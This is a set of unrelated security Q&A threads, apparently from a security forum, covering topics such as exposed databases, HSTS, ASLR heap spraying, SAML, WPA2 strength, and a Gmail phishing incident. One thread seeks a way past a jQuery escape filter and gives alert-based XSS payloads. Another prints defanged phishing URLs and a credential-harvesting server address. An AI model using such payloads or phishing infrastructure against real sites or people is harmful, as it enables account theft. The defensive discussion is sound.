How is it possible that important databases keep getting put online with literally zero security? The ANPR camera system's internal management dashboard could be
  accessed by simply entering its IP address into a web browser. No
  login details or authentication of any sort was needed to view and
  search the live system

Number-Plate Cam Site Had No Password, Spills 8.6 Million Logs of UK Road Journeys

I keep seeing this kind of nonsense every other day. Millions of records exposed here, millions of private pieces of data exposed there... Always without any "hacking" taking place. They just have no passwords. Just keep it all open to the world.

How is this possible?

The thing is, I actually did the same thing myself, BUT I was a single loser, early 20s, at home, in a deep psychosis, running a database which I believed had been secured (I misinterpreted the very misleading and weird documentation)... with no other person involved and a massive "ego" in that I believed myself to be a computer expert.

These leaks you hear about, on the other hand, are huge corporations or governments which obviously must have hired some kind of expert/professional to implement these things, yet they still do what I did at home for my personal project?

How is it possible? I truly do not get it. Unless it's done on purpose, over and over again. Do they not have any kind of "investigation" into these things? Do they never read the news and learn from others' mistake? Do they truly not care about their friends and family and their own records being leaked to the world? How can they not care?

How do you get some kind of security certification if you set up a database with NO AUTHENTICATION WHATSOEVER?

Two very common situations:

no one thought about it
that was not the original design, but scope creep or "temporary measures" meant that the final product exceeded the plans for review, so it wasn't on anyone's radar

As a single developer, you hold all the moving parts in your head and you touch every part of the system. You could think about the impacts of a change on one part to the rest of the parts.

In a big team with multiple stakeholders and a shifting product plan and roadmap, it is very easy for blind spots to appear.

So, the problem is not that they didn't hire an expert. The problem is that they hired quite a lot of experts, and they were all focusing on their one small part and not the whole.

Should there be someone or some process to have their head above water to review the product before it goes to production? Sure, but then, someone needs to think about the possibility of needing such a process. And when deadlines are looming, final checks are the first to be cut. You can "always clean it up after it's released using professional services" ...


How does Wuala store symmetric key? As far as I understand Wuala (so called secure cloud storage) is not using the original (user provided) password to encrypt data so what role does original password play in their system?

I think they are generating a symmetric encryption key and somehow encrypt it with the original password, storing it along with the encrypted data on their servers. The question is how secure that encryption of symmetric key?

Wuala encryption is based on a Cryptree structure.

For descriptions of different technical depths cf. http://wualablog.blogspot.de/2011/05/wualas-encryption-revisited.html?m=1


Running untrusted Python code I have a small OpenWRT router, on which I wish to run a daemon which is a python script. However, even though it is open-source and plain Python, I still don't trust it and I would like to isolate it from the rest of the system as much as possible. It has to do the following:

Bind and listen on a single TCP port
Read/write some files in its working directory

Apart from that, it should not be able to do anything. I've thought of doing the following:

Start a wrapper script as root, bind the port, then drop group membership and drop into a new user before importing and executing the actual script
Run it in chroot

Did I miss anything that would help to make it run more securely?

Here are some things I would consider:

Review the code
Create a new unprivileged user and use that to run the script (on a port higher than 1023) and use IPtables to redirect low-port traffic to your high-port.
Look at something like resource controls to prevent the user/script from tying up resources (like opening up a million file handles)

Chroot and dropping privileges are also good options, provided you are keeping your host OS patched.


Getting AVAST alert during program update/upgrade in Kali Linux So i started to use VirtualBox in windows 10 and i would like to know if those alert from my windows 10 security program (avast antivirus), during my installation/upgrading of TheHarvester program at virtualmachine Kali Linux of VirtualBox will cause any threat or harm to my personal computer? ( I am really concerned about the others getting chance hacking into my pc XD )
And here are the blocked stuff from avast logs:
1)ELF:AirCrack-B [Tool] (http://kali.download/kali/pool/main/a/aircrack-ng/aircrack-ng_1.6-4_amd64.deb|>data.tar.xz|>data.tar|>.\usr\bin\aircrack-ng)
2)ELF:Flooder-NY [Trj] (http://kali.download/kali/pool/main/e/ettercap/ettercap-common_0.8.3-7_amd64.deb|>data.tar.xz|>data.tar|>.\usr\lib\ettercap\ec_dos_attack.so)
3)Win32:GenMaliciousA-GHG [PUP] (http://kali.download/kali/pool/main/m/mimikatz/mimikatz_2.2.0-git20200208-0kali1_all.deb|>data.tar.xz|>data.tar|>.\usr\share\windows-resources\mimikatz\Win32\mimidrv.sys)
4)Win64:Malware-gen (http://kali.download/kali/pool/main/r/responder/responder_3.0.0.0-0kali1_all.deb|>data.tar.xz|>data.tar|>.\usr\share\responder\tools\MultiRelay\bin\mimikatz.exe)
5)BV:Downloader-MA [Trj] (http://kali.download/kali/pool/main/s/set/set_8.0.3-0kali1_all.deb|>data.tar.xz|>data.tar|>.\usr\share\set\src\core\setcore.py)
6)Win32:PUP-gen [PUP] (http://kali.download/kali/pool/non-free/w/wce/wce_1.42-beta-0kali3_all.deb|>data.tar.xz|>data.tar|>.\usr\share\windows-resources\wce\getlsasrvaddr.exe)

Kali Linux contains a ton of malicious tools, so it's expected that antivirus software complains about them. This can happen if it scans the network traffic during upgrade, which is probably the case now, as the upgrade uses plain HTTP connections. Some antivirus software might also scan the disk images of virtual machines. Both may cause problems to or break your Kali installation, so it might be a good idea to add some exceptions.
Despite technically malware, these aren't a security problem per se, but they are powerful tools that may cause problems if you don't use them wisely. You might end up weakening your security if you attack against your host machine.


django-python3-ldap Does TLS Encrypt AD Passwords When Site is Hosted on http I have implemented django-python3-ldap and integrated AD with my Django project. The project will be hosted on IIS as an intranet site that is served solely over http. I am deciding between using this solution or Django's RemoteUserBackend. Using IIS authentication would mean enabling Windows Authentication and disabling Anonymous Authentication. Conversely, using the Django solution would mean enabling Anonymous Authentication and disabling Windows Authentication.

Using RemoteUserBackend with IIS and enabling Windows Authentication prevents clear text passwords from being sent across the network (I think). Is the same thing happening when I set LDAP_AUTH_USE_TLS = True and my LDAP_AUTH_URL is pointing to an LDAPS domain controller? Using these settings connects and successfully authenticates users.

Is it more secure (all relative, I know) to use this solution or the IIS RemoteUserBackend solution? Does a ldaps connection only matter if the site is server over https?

If you setup the web server with HTTP only the password will not be protected. The setting of LDAP_AUTH_USE_TLS=True only covers the protection of the connection between the server side part of your web application and the LDAP server and does not help in protecting the connection between browser and web server.


XSS with escaped equal sign inside jQuery selector Web-site uses jQuery 1.8.3 which has known XSS vulnerability in selector. (https://snyk.io/vuln/npm:jquery:20120206).

It passes filtered and urldecoded document.location.hash (val2 below) value inside selector.

$('div[data-foo=\''+filter(val1)+'\'][data-value=\''+filter(val2)+'\']')

function filter(str) {
    if (str)
        return str.replace(/([ #;?%&,.+*~\':"!^$[\]()=>|\/@])/g,'\\$1');
    return str;
}

I've come up with the following payload:

<img%09src%09onerror=alert`1`%09>

It would work if the equal sign wasn't replaced by \=. Browsers don't seem to tolerate \= at all.

Any ideas how this can be bypassed or maybe another payload that would work here?

UPDATE:

As mentioned here:
https://security.stackexchange.com/a/60915/196507

<script defer>alert(2)</script> might work on some browsers (Also I found somewhere that IE is this browser). But unfortunately, it didn't fork for me in IE11 event in simplified form:

document.getElementById('test').innerHTML = "<script defer>alert(1)<\/script>";

UPDATE2:

<script defer> works in IE9, but backticks (`) are not supported there. So problem with escaped parentheses arise.

You would maybe be able to do it if the charset was not atypical, and then you may be able to get a valid result by using a multibyte character converting into an equals sign, but you can't change the charset yourself as it will probably appear in the server response header, or default to UTF-8.

In Section 12.1.2.1-3 of the HTML standards, tags have to be closed by U+003E so using script tags will not work.  Attributes can be specified by an empty syntax, such as 'disabled', but none of these will allow you to execute JavaScript.  You can use unquoted value syntax, as you've pointed out in your question, but the unquoted part must follow a U+003D sign, as it does for single or double quoted attributes, meaning there's no avenue left to exploit.


Why is it better to encrypt data in an application server than in the database server? This is when protecting sensitive data in an application.  As given in the OWASP Top 10: A6 Sensitive Data Exposure.

The answer is mentioned next to the sentence in the cheat sheet that you read.

  Do not use RDBMS database, row or table level encryption. The data can
  be retrieved in the clear by anyone with direct access to the server,
  or over the network using the application credentials. It might even
  traverse the network in the clear despite being "encrypted" on disk.

Basically, if you encrypt only in the DB, then sensitive data can still be read while it travels from the app server to the DB and on the way back.

You could use two-layers of encryption depending on your security/performance requirements and threat model.


Is there a server/website specific malware scanner? I have multiple Linux CentOS servers that are scanned with the Google Webmaster Tools, and when it finds some malicious code on my servers(shared/dedicated), the ranking of those site drops. What I am looking for is a server scanner that scanns for php, js, etc malware finder, so that I can react before Google drops the ranking of that site.

I already found a php malware scanner, still trying to get it to work, but I would like to find a more complete solution, to increase the security of my servers.

nbs-system/php-malware-finder: Detect potentially malicious PHP files

If there is malware on your server, somebody put it there so you need to look at prevention first. :) It will also, often, be put in a place not referenced from elsewhere on the server, so simply spidering your site will not find it. Google will find it if/when somebody reports the exact URL, or it is linked from another compromised site.

I recommend taking another approach: host-based intrusion detection. To detect that somebody has put something on your server that shouldn't be there, periodically run a script (using cron) that checks that nothing under your document root has changed. If there have been changes, send yourself an alert by e-mail.

If you don't want to write your own script, there is software that can do it for you, as well. The original file integrity checker is called Tripwire, and there is an open source alternative called AIDE (on CentOS, run yum install aide as root). Some configuration required, but it can do just what you need.


How is HSTS handled on subdomains? I recently audited a website with three hosts: the main site (example.com), and two subdomains (let's call them portal.example.com, and welcome.example.com).

According to the response headers, HSTS is properly set for each host:

strict-transport-security: max-age=2592000; includeSubDomains

When loading the hosts into Burp, I was unable to create a security exception in Firefox to accept Burp's self-signed SSL cert to proxy HTTPS traffic (as expected). Both of the subdomains, however, let me create a security exception in Firefox with no issues. Additionally, this allowed me to bypass the HSTS on the main site, since once a security exception had been created for either of the subdomains I was able to proxy HTTPS traffic for example.com with no issues.

What am I missing? I thought HSTS would prohibit this activity, especially if it is set to includeSubDomains.

With HSTS, the browser will automatically convert HTTP links to HTTPS links. However, to prevent mistakes and abuse, browsers will only accept the HSTS header on a secured page.

As it relates to your case, HSTS will not allow users to manually accept a self-signed certificate once HSTS has been enabled (which can only be done from a secure page). That explains why example.com does not allow you to accept the invalid certificate.

Furthermore, I suspect that the subdomains are not being properly protected because the header says include SubDomains rather than includeSubDomains (as defined in the specification).

On a related note, HPKP can provide additional protection against malicious certificates.


Are Heap addresses randomized by ASLR? I have been reading this article about an Internet Explorer exploit and I am a little confused about why the memory addresses effected by the heap-spray "work".

The paper states that the attack uses a heap-spray to spray ~320MB worth of 0x12121212's. This address was chosen because the attack has control over the memory in and around 0x12121212. In fact, at memory address 0x12121212 is where the ROP chain is placed.

I am confused why this works with ASLR enabled, wouldn't the memory addresses be randomized every time?

How is it that 0x12121212 can be used reliably?

According to the Windows Internals 5th Edition book, the 5-bit ASLR bias for heaps is "multiplied by 64KB to generate the final base address, starting at 0, giving a possible range of 0x00000000 to 0x001F0000 for the initial heap".

As such, the initial heap for IE on Windows 7 will always be between 0x00000000 and 0x001F0000, with 32 possible locations. By filling the heap with 320MB of data (0x14000000 bytes), the attacker can almost certainly guarantee that the 0x12121212 address is filled:

Low address case (heap is created at 0x00000000): We fill all addresses from 0x00000000 to 0x14000000, so 0x12121212 is filled.
High address case (heap is created at 0x001F0000): We fill all addresses from 0x001F0000 to 0x141F0000, so 0x12121212 is filled.

This is mitigated in 64-bit Windows 8 and later when the application is compiled with the /HIGHENTROPYVA flag: the size of the ASLR bias for the heap is 24-bit which results in 16,777,216 possible locations for the heap over a memory address space of 1TB.

You can find more information about ASLR in the BlackHat 2012 talk "Exploit Mitigation Improvements in Windows 8.


How can IA-5(1)(b) be enforced on Windows systems? Note:  I've also posted a question for this issue on non-Windows systems.
In NIST SP 800-53 Rev. 3, IA-5 is the control addressing "Authenticator Management". The requirements in this control include such things as enforcement of password length, complexity, lifetime, history, and proper storage/transmission of passwords.
The first enhancement for this control, which is selected for all (Low/Moderate/High) systems includes this requirement:

The information system, for password-based authentication:
...
(b)   Enforces at least a [Assignment: organization-defined number of changed characters] when new passwords are created;

In Windows systems, I know how to enforce long and complex passwords which are changed regularly and do not exactly match a certain number of old passwords.  But, how do you implement a policy that requires a certain amount of characters to be changed with every new password?

Believe the only way is to write your own custom password filter.

There are also plenty of third party products that will do this for you e.g.

http://nfrontsecurity.com/products/nfront-password-filter/
http://www.anixis.com/products/ppe/default.htm

Even Windows 2008 password complexity will only check:

Passwords cannot contain the user’s account name or parts of the user’s full name that exceed two consecutive characters.
Passwords must be at least six characters in length.
Passwords must contain characters from three of the following four categories:

English uppercase characters (A through Z).
English lowercase characters (a through z).
Base 10 digits (0 through 9).
Non-alphabetic characters (for example, !, $, #, %).

http://technet.microsoft.com/en-us/library/cc264456.aspx

This default complexity check with user education and providing a password manager is sufficient for most companies to mitigate the risk.

If you are really worried about someone setting ChelseaFC01, ChelseaFC02, ChelseaFC03 and this being guess through social engineering i.e. attacker finds out user likes Chelsea and cycles through this combination you could move away from just relying on password: e.g. implement two factor, adaptive authentication etc. You could also monitor for multiple password failures e.g. 8 attempts then a success via the Active Directory logs and investigate these.


Don't understand how my mum's Gmail account was hacked My mum (on Gmail, using Chrome) received an email from a friend's Hotmail address. She opened the email (very obviously a phishing email) and clicked a link in it. This opened a webpage with loads of medical ads on. She closed the page and deleted the email.
She did not notice anything else happen when she clicked the link. For example, she did not see a download start and did not click anything on the page that opened.
The URI of the link she clicked was hxxp://23.88.82.34/d/?sururopo=duti&bugenugamaxo=aGViZTFzaGViZUBob3RtYWlsLmNvLnVr&id=anVuYWx4QGdvb2dsZW1haWwuY29t&dokofeyo=anVuYWx4 [DON'T visit that address!]
Immediately (although she didn't know at the time) about 75 emails were sent from her Gmail address to a selection of her contacts. They are visible in the Sent Mail list in her Gmail account. This happened between 17:08 and 17:10 GMT. Here the source of one:
Return-Path: <lalala@googlemail.com>
Received: from localhost (host86-152-149-189.range86-152.btcentralplus.com. [86.152.149.189])
        by mx.google.com with ESMTPSA id r1sm16019263wia.5.2014.02.23.09.10.15
        for <lalala@hotmail.com>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sun, 23 Feb 2014 09:10:16 -0800 (PST)
Message-ID: <530a2b78.8108b40a.6eac.5c3d@mx.google.com>
Date: Sun, 23 Feb 2014 09:10:16 -0800 (PST)
MIME-Version: 1.0
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
From: lalala@googlemail.com
Return-Path: lalala@googlemail.com
Subject: Bar gain

Mount your brooms said Madam=
 Hooch Three   two   one  =20

lalala@googlemail.com has sent you 3 offline broadcast<=
br />Locate Full Email Content

Here's the Gmail "Activity information" window:

Note that the IP address in that list, 86.152.149.189, is the same as in the header of that email.
One of my mum's friends reports that she received one of the emails and clicked on the link in it. She says that her email account then sent out a load of emails too.
I don't know what my mum's IP address was at the time this happened. So maybe it was 86.152.149.189.
I don't understand how this happened. She had an impressively strong password (which I've now changed) that she doesn't use for anything else and she didn't type this password into the page that opened.
How on earth could clicking a link in an email allow an attacker authenticate themselves with the Gmail SMTP server as my mum and then to send a load of emails as her to her contacts? And how could it have got the addresses of her contacts?
Update subsequent to Iserni's answer:
My mum confirms that she did indeed enter her Gmail password when "Gmail" asked for it after the page of medical ads closed. Her aunt received one of the emails and was also asked to enter her Gmail login details. She says she did because the original email came from my mum. Clever attack

IMPORTANT: this is based on data I got from your link, but the server might implement some protection. For example, once it has sent its "silver bullet" against a victim, it might answer with a faked "silver bullet" to the same request, so that anyone investigating is led astray. I have tried sending a fake parameter of cHVwcGFtZWxv to see whether it triggered any different behaviour, and it did not. Still, that's no great guarantee.

UPDATE - the above still holds, but I've been making tests from random IPs not traceable to my main session - the attacking server does not discriminate, and will blithely answer to a query regardless of browser, referer, and JS/Flash/Java support.

The link you received contained, already embedded in the URL, the following parameters - I have slightly changed them so the correct form won't appear in Google searches of Stack Exchange (I swapped the first letters).

jebe1shebe@hotmail.co.uk
hunalx@googlemail.com

The link injects a Javascript that first of all retrieves your location through a Geotrack API call, then loads another script. (I had initially mistaken this for a GMail command; my bad).

The second script loads a web page, but also presents several replicas of Login pages of popular accounts (Hotmail, GMail and so on) depending on the incoming email: GMail accounts get a fake GMail page, and so on, all of these pages saying what amounts to "Oooh, session expired! Would you mind logging in again?".

For example, clicking here (do not do so while logged in GMail, just in case)

hxxp://23.88.82.8/d/?p=puppa@gmail.com&jq=SVQ7RmxvcmVuY2U=

will display a fake Google account login (for a nonexisting user 'puppa').

The real login pages come from

http://ww168.scvctlogin.com/login.srf?w...
http://ww837.https2-fb757a431bea02d1bef1fd12d814248dsessiongo4182-en.msgsecure128.com

which are fire-and-forget domains.

The server that receives the stolen usernames and passwords is apparently always the same, a ShineServers machine on 31.204.154.125, a busy little beaver. Most of these URLs have been submitted to various services and were seen as far back as January.

Phishing and Two-Factor authentication

I'm of two minds about the usefulness of TFA in this scenario. As I see it, and I may well be mistaken or overlooking something,

the victim clicks on the link
gets "disconnected" and prompted to "reconnect" by a phishing screen
enters [username and] password
attacker attempts login and gets redirected to "Enter Secure Code"
a secure code is sent to the victim
attacker sends to victim an "Enter Secure Code" screen
(most?) victims enter secure code too
victim account is compromised

What could one do

Check out the URL appearing on the address bar. Verify SSL certificates.
Never login to anything unless it comes from a bookmark or a manually typed link, paying attention to common misspellings. If a login screen appears during navigation, just close the browser and reopen it.
Enter into the paranoid habit of always inserting a wrong password first, one you would never use, then the correct one on the "Login failed" screen. If the wrong password gets accepted... (of course, the attacker might always reply WRONG! to the first attempt. He has to balance the cost of scaring some victims against the benefit potential of capturing some others. As long as the number of two-attempters is negligible, two-attempting is a winning strategy for them. If everybody does it, it won't work).
There are services, such as OpenDNS as pointed out by @Subin, or embedded in the browser itself, that verify the incoming site against a distributed list and refuse to connect to a known phishing site.

What could a developer do

Maybe, just maybe, it would be possible to develop a "This page looks like this other page" application. Probably it would be terribly heavy on the system. In its most basic and thwartable form, if the HTML code contains 'Enter Google password' and the URL is not gmail, then a large blood-red banner appears saying JUST DON'T.

Another (thwartable again) possibility is to employ a honey-token approach and deny form submissions that contain a password.

What could Google do

This is a bit of a pet peeve of mine. The phishing screen uses data on Google servers, for Pete's sake, so that those servers clearly see a login logo being requested by your mom with a referer of phishers'r'us dot com. What do those servers do? They blithely serve the logo as is! If I were to manage such a server, a request for your avatar image (or any image) from any page not on my site would, yes, indeed get an image. I would probably get in no end of trouble for the image I'd choose. But it would be very unlikely that someone would willingly enter his/her password on such a screen.

Of course, the attackers would just mirror the images on their websites. But I can think of many other tricks. For example, if a browser on 1.2.3.4 asked me for a login avatar, I might be wary of a password confirmation coming from address 9.8.7.6 a few seconds later, especially if other passwords for other accounts had come in similar circumstances from the same address in the last few minutes.

A twist: as suggested by a commenter (which I still have to thank for the insight), Google has actually oversight on the incoming requests as well as GMail displayed messages. With a bit of data analysis, it can then know with good certainty phishing sites almost in real time, and phishers mirroring sites doesn't thwart this kind of analysis very much (it is mostly based on data garnered from the victim). Then Google can supply the addresses of known sites to a browser extension (e.g. Chrome site protection).

I still think that they could do both - defend the login screen and use data mining to find out who the phishers are - but I'll accept that I am not justified in saying that Google is actually doing nothing.

More complicated tricks

Also, I might complicate the login screen with challenge/responses invisible to the user that the attacker would have to match, and based on browser fingerprinting. You want to log in, you send the password from the same login screen that prompted you. This too can be thwarted, quite easily.

But having to do twenty easy things to compromise an account is difficult. Also because if you do seventeen right, I (the server) mark your address, and maybe redirect you to a fake sandbox account if you do succeed to log in in the next hours. And then I just look at what you do. You do little, I replicate on the real account and if you're honest, you'll never even know. More than X too-similar emails, or sent too fast, and I'll know. Of course the account will remain open and blithely accept all your spam. Why not. Send it? Well... that's another matter, now, isn't it?


Remember Me vs Remember Email From what I have noticed, there is very few services that offer the Remember Email over Remember Me or Sign-in Automatically.

These options really do make the life easier for the end-user of applications. I strongly think that Remember Email would be way better with making the user input their password into the password field. Also, it would boost security with doing it that method (e.g. CreditKarma as an example).

Would it be more secure if we do Remember Email and make our users put in their passwords each time they have to login to systems?

I can explain this to you by taking few examples

First is that you have allowed "keep me signed in" on your website, so there are chances of unauthorized access if the user computer gets hijacked or is in hands of an unauthorized person.
A malicious person will be able to get every information residing on the account. However, there are least chances that the the person will be able to do any malicious activity such doing a transaction or changing the password and or email. These require an user to enter the current password.

Second case is that you have enabled 'Remember Email.' The user is comparatively more secure than in the previous case, chances are low that there will be an unauthorized access to the account. However, there is one little possibility of losing the account if there is any malware or say keylogger residing on the computer. The user will lose the control over the account, but it happens mostly in the case of targeted attacks.

In my opinion allowing 'Remember Email' is a better option than allowing 'Keep me Signed In.'


Automated SAML authentication without user interaction I'm required to integrate my website with SAML authentication, so that any login done to my website, the credentials will be validated by a specific idp (known in advance)

Even after reading many articles about it, Incl. the official technical documentation, I have many open questions:

Can it be automated? i.e, my website is the SP, and I know what IDP I need to authenticate against, can I somehow leave my site as it is, and use the already entered credentials and authenticate them infront of the IDP? Somehow do the authentication myself in the backend, instead of redirecting the user? Is it somehow resembles ECP (Enhanced Proxy)? Is it different mechanism between shibboleth, Okta or do they all follow the same protocol and behavior?
Are all IDP supported servers the same? Or can one decide any authenticaion method he likes to use?
Assuming #1 is possible, How can I authenticate that the response I got is indeed from who it claims it is (avoid MITM)?

Some partial answers:

1.1. When you know (from what kind of information? Do you only accept one IDP for all users?) which IDP to use, use it. You can than skip the indirection via DiskoJuice or another IDP choser.

1.2. Doing the authentication yourself defies the purpose of using SAML. You can do Basic authentication  via https instead.

Not necessarily. Each IDP can chose whatever sorftware they want to use. Only the protocol is fixed.
With SAML you only know that the user trying to log in know his credentials (username and password). Use secure connections (https only, don't allow http) to avoid leaking of the credentials and MITM attacks.

EDIT: When you really want to understand SAML, look at the PhD thesis of Thomas Gross here: http://www-brs.ub.ruhr-uni-bochum.de/netahtml/HSS/Diss/GrossThomas/diss.pdf

It contains an in-depth analysis of SAML with rigorous proofs (and counter-examples for SAML 1.0) of security features.


What are client-side exploits I am learning about cybersecurity and have read about client-side exploits. I know they are vulnerabilities/exploits and they target the client instead of a server. What are some examples of this and how do they work?

In the classic client/server architecture, there is the server which serves requests initiated by the client, and the client which makes said requests. An example of the client/server architecture is the web, where a web server communicates with a web browser (the client). A client-side exploit is thus one which attacks or influences the client. It is distinguished from a server-side exploit which attacks the server.

An example of a client-side exploit would be malicious JavaScript taking advantage of a bug in a browser. An example of a server-side exploit would be SQLi, which attacks a server's handling of its database. Client-side exploits are not unique to the web, since there are more client/server architectures out there. Attacking a vulnerability in PuTTY (a Windows program used for managing remote servers via the SSH protocol) would be an example of a client-side exploit that does not involve the web or web browsers.


Apps that require user to install advertised apps in order to get activated I am analyzing a mobile application, and I am not sure if it is just an adware/greyware or does it enter the category of malwares.

This app does not really do any harmful activity. But it forces user to install at least 1 advertised app, app does not get activated unless user installs advertised app. Developer did not mention this requirement on market.
It also pushes ads in notification bar.
These behaviors seem quite aggressive.

Application does not download any advertised app without user consent/interaction.

Can anyone please tell me if an app with such behavior should be considered greyware/adware or malware?

On virustotal, almost half vendors detect it as adware and other half as malware.

App makers can use ad networks as a valid way to monetize their coding efforts. That, in and of itself, is not an indication of malware. The lack of disclosure of the 2nd install, at best, indicates a lack of integrity on the publisher's part, but again, is not necessarily an indication of malicious intent.

It is unfortunate that they require a secondary install to make that happen, but the original install is not automatically malware.

On the other hand, this type of "bait and switch" scenario is a great set up for delivering malware. If your scans indicate that the secondary install is malware, then you have your answer, and you should be wary.


Can I avoid storing data on the web by emailing it? My client wants to gather some sensitive info via an app. I don't want to store it on the server. Is this a good plan?

Encrypt it on the phone using a public key embedded in the app.
Send it to the server.
Without saving it, email it to the client.
They copy the base64 into a desktop app that decrypts it using a private key stored on the machine.

They already have such data in-house. So I figure this wouldn't be any less secure.

I am a strong proponent of "The best way to protect data at rest is not to store it in the first place"! Keep it in memory for only as long as you need it.

I like your approach of using encryption to achieve this; if your server only touches the encrypted version, that's equivalent to not touching it at all!

I do have one improvement to suggest though. First, let's take a tangent into forward secrecy; the idea is that every time you encrypt something, you use a temporary disposable key that you don't keep a permanent copy of (aka "one time use" or "ephemeral" key) so that it's very hard for an attacker after the fact to get their hands on the decryption key for some data that they intercepted.

The idea of embedding a public key into the app does not have forward secrecy because you're using the same non-temporary key for every encryption.

Improvement #1: forward secrecy

Phone requests a new ephemeral encryption public key from the server.
Phone encrypts the data using the ephemeral public key.
Phone sends the encrypted data to the server.
Server uses the ephemeral private key (which was only stored in memory as part of the session) to decrypt the data.
Server re-encrypts the data for the client.
Send the encrypted data to the client however is easiest.

Once the server forgets the ephemeral key from step 4, the encrypted data blob that was sent up from the Android device is unrecoverable, so you don't need to be too careful about whether it ended up in router logs, etc. It's only the key that you need to protect.

If step 4 is public key encryption (ie RSA, and not symmetric encryption like AES) and only the client has the private key, then you could even keep a copy of that encrypted data in case the client needs it re-transmitted. This would be sorta equivalent security-wise to not storing it because you don't have the key to decrypt it.

Note: We're basically inventing TLS here, so let's do another version that uses a standard TLS stack rather than inventing our own protocol. We'll find that steps 1, 2, 3, and 4 are all taken care of for us at the TLS (HTTPS) layer.

Improvement #2: TLS

Phone sends the encrypted data to the server over HTTPS.
Server encrypts the data for the client.
Send the encrypted data to the client however is easiest.

Again, so long as you are careful to re-encrypt the data for the client, and not keep a copy of the plaintext, you'll meet the requirement of "not storing it on the server".


Configuring IIS SSL for PCI Is there a clear, concise list of of SSL settings available for IIS which will pass my PCI audit scanning?

Preferably something for both IIS 6 and IIS 7

I'm currently running into BEAST issues but I'm hoping that the answers here will be more general  and a good resource for anyone needing to deal with IIS and PCI. Maybe even a canonical question. :)

I've had to piece together a list of ciphers and protocols to disable, some IIS 7 prioritization options, etc. I know it could be improved on.

Clear and concise for PCI audit? No problem, as of now, enable SSL 3.0, disable the rest.

But you also want something more general and you want to combat BEAST? That makes things no longer clear or concise.

There are multiple lists, including some that include handy powershell scripts to do it for you.


Security challenges of administrative share in windows 7 I am going to the network+ class, and today my teacher said that every time you want to configure a network, disable the hidden share of hard drives in windows. He said that if this is enabled, you will be hacked very easily. Is that correct while anyone who want to access shared drives must has the administrator permission?

And also as I searched, to disable this configuration permanently I have to disable the administrative share completely. What problems may happen if this feature is disabled?

Thanks.

Admin shares only permit access over the network to users that are members of the computer's local Administrators group. You can disable them by configuring the AutoShareServer (for server OS) or AutoShareWks (for non-server OS) registry values:

Hive: HKEY_LOCAL_MACHINE
Subkey: System\CurrentControlSet\Services\LanmanServer\Parameters
Value name: AutoShareServer (server OS) or AutoShareWks (for non-server OS)
Value data: 0
Value type: REG_DWORD

(See https://support.microsoft.com/en-us/kb/288164)

There may be negative implications for disabling them--see https://support.microsoft.com/en-us/kb/842715.

Your teacher may be misunderstanding the scope of this feature. As noted, the admin shares are only accessible to members of Administrators (hence the name). If someone is a member of Administrators that is not supposed to be a member of Administrators, they already have the highest level of access anyway. Another way to say this: Disabling the admin shares doesn't prevent hacking; if a hacker can access them, you've been hacked already.


Securing an API for 3rd party users I'm having issues finding the right language to search for answers to my problem so hopefully I can explain it here.

I am trying to create an API that will be accessed by a 3rd party. This 3rd party authenticates their users using some unknown system (they use something like auth0 or Okta). Their web application will be making requests to our API on behalf of the users. We need to validate the these requests are coming from authenticated users from the specific 3rd party, but we don't want to keep track of the 3rd party's users. We need these requests to have tokens containing claims pertaining to the individual user, but it would be up to the 3rd party to handle these claims.

Is what I'm describing here possible? I've been reading up on Federated SSO, but it doesn't quite seem to solve the problem that we're having.

Sounds like you are looking for a secure way to authorize requests server-to-server. As the 3rd party handles the authentication, you just need to verify requests are coming from the 3rd party.

How about using JSON Web Tokens (JWT)? They can be encrypted to provide confidentiality but are also digitally signed using a public/private key pair that ensures integrity and authenticity of the data sent between your API and the 3rd party.


What is stronger - WPA2 Enterprise with 2048 bit key, or Personal with 63 character passphrase? Which of the two following has a stronger cryptographic strength in withstanding brute-force attacks?

WPA/WPA2 Enterprise using 2048-bit RSA public-key
WPA/WPA2 Personal using 63-character Passphrase

Security from exhaustive search
Ignoring the benefits and drawbacks of each protocol and focusing exclusively on the difficulty of a brute force attack, the answer is that they are both identical. The reason for this is that the only difference between the two is how the key is derived. When using WPA2 Enterprise, a random 128-bit key is generated and exchanged using public key cryptography. For WPA2 Personal using a passphrase of any length, a 128-bit key is derived from the passphrase itself using a key-strengthening algorithm called PBKDF2.* Regardless of how it is generated, the session key will have a keyspace of up to 2128. For a 63-character random passphrase, the entire 2128 keyspace of the session key is used.
Security from cryptanalysis
If on the other hand you are referring to any type of cryptoanalytic attack, the answer is that the WPA2 Enterprise option using RSA 2048 provides less security. RSA 2048 is approximately equivalent to a 112-bit key. The reason for this is that attacking RSA is not done using brute force, but by attempting to factor a very large composite number. RSA uses the so-called integer factorization problem, a problem in mathematics which states that, while it is easy to multiply two huge prime numbers, factoring the resulting composite number back into the original two prime numbers is very, very hard.†
The most effective algorithm for factoring large numbers is called GNFS, which is significantly faster than an exhaustive search, but is still far too computationally-intensive to perform on realistic semiprimes. When you are using a 63-character passphrase on the other hand, it is directly converted into a 128-bit key by PBKDF2 using 4096 iterations of HMAC-SHA1. If the 63-character passphrase is chosen randomly from a US keyboard with 95 printable keys, it gives a keyspace of 9563, which is far greater than 2128 (it has the equivalent security of log2(9563) ≈ 413.9 bits). Because the session key is only 128 bits, the entire keyspace of the 63 keys is not used, only that of the 128-bit session key.
Security in practice
In practice, WPA2 Enterprise using public key cryptography is more secure. This is not because it is more difficult to attack with cryptanalysis, but because it provides other security benefits such as forward secrecy, which ensures that an attacker who compromises one session will not be able to then retroactively decrypt previously recorded sessions, because each key is generated randomly for each session. WPA2 Personal on the other hand uses the passphrase to derive the key, and as long as the passphrase remains the same, any data encrypted under that passphrase can be decrypted as soon as you learn what it is. Because WPA2 Enterprise allows the key to be generated entirely randomly, there is no risk of using a poor passphrase that can be broken.
It is often not easy to maintain a fully random 63-character password among multiple devices. If you are using the complete 95 character set from a US keyboard, you only need 20 random characters to fully utilize the entire keyspace of the cipher, as 9520 is just barely above 2128. Adding more characters would only be useful if you expect them not to be entirely random.
You should be aware that WPA3 has been announced. It is a new protocol which vastly improves wireless security. It provides individualized encryption even on open networks, allowing people to securely use hotel and airport hotspots without worrying about passive eavesdropping, and allowing people to share their key with guests without allowing them to read their traffic. It does this by dissociating the user-supplied key from the encryption. In other words, the key you provide is only used to authenticate yourself to the hotspot. Public key cryptography will automatically generate a per-use random session key. WPA3 comes with other improvements as well, such as a larger 192-bit key. The protocol will be slowly rolled out to new devices during 2018.
